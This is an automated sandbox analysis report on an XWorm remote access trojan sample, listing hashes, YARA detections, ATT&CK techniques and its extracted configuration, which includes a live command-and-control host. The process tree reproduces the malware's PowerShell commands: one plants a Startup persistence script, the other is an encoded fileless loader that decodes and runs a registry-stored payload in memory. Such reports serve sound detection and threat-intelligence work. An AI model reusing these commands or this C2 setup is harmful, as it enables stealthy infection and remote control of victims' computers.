xworm | 604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622

Analysis

max time kernel
92s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
14/06/2024, 01:19

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General

Target
604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622.vbs
Size 49KB
Sample240614-bpzddszbjb
SHA256 604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622
MD5 abbe86b2090df28ec71653c86a638f32
SHA1 2a1dbba888beb77eb5c2d473a8751e638dd89ff4
SHA512 bf25f1e3be4dd9ad7f2b070d0d55fdf0a5eb7b90bd1f621c29a86562dd603a432485bac8b384333e24d62e7d8827ad8f37676d2e3652242d17ccc84b8880b4e2
SSDEEP 768:Ra1Fw72kwrfA9vsCP7pkYeDIOcJgzazqeWzR4hw7PGiWiQgFGdM+Vc:Rafw72kx7leVcZ+nVYES7gFGdM+Vc
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

estrella1221.duckdns.org:7000

Mutex

eWvWd8BtCFGhQzWH

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4928-29-0x000001BA63950000-0x000001BA63960000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detects Windows executables referencing non-Windows User-Agents 1 IoCs

resource	yara_rule
behavioral2/memory/4928-29-0x000001BA63950000-0x000001BA63960000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	4928	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4928	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3432	powershell.exe
4928	powershell.exe
4928	powershell.exe
3432	powershell.exe
4928	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	4928	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4928	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 208 wrote to memory of 3432	208	WScript.exe	85
PID 208 wrote to memory of 3432	208	WScript.exe	85
PID 208 wrote to memory of 4928	208	WScript.exe	87
PID 208 wrote to memory of 4928	208	WScript.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -window 1 Copy-Item 'C:\Users\Admin\AppData\Local\Temp\604684d8a860ca44c0bb7a05797883b2dec1706667dd94b5e2448fbbf2cea622.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs';
  2⤵
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABjAGgAcgBvAG0AZQBcACkALgBjAGgAcgBvAG0AZQApADsAIAAkAHQAZQB4AHQAIAA9ACAALQBqAG8AaQBuACAAJAB0AGUAeAB0AFsALQAxAC4ALgAtACQAdABlAHgAdAAuAEwAZQBuAGcAdABoAF0AOwAgAFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAdABlAHgAdAApACkALgBFAG4AdAByAHkAUABvAGkAbgB0AC4ASQBuAHYAbwBrAGUAKAAkAE4AdQBsAGwALAAkAE4AdQBsAGwAKQA7AA==
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_itpqltrn.at1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_itpqltrn.at1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3432-0-0x00007FFADAA53000-0x00007FFADAA55000-memory.dmp

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memory/3432-30-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

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memory/3432-20-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

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memory/3432-21-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

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memory/4928-23-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

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memory/4928-22-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

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memory/4928-24-0x000001BA63D50000-0x000001BA63D94000-memory.dmp

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memory/4928-26-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

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memory/4928-29-0x000001BA63950000-0x000001BA63960000-memory.dmp

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memory/4928-19-0x000001BA63960000-0x000001BA63982000-memory.dmp

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memory/4928-32-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

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memory/4928-33-0x00007FFADAA50000-0x00007FFADB511000-memory.dmp

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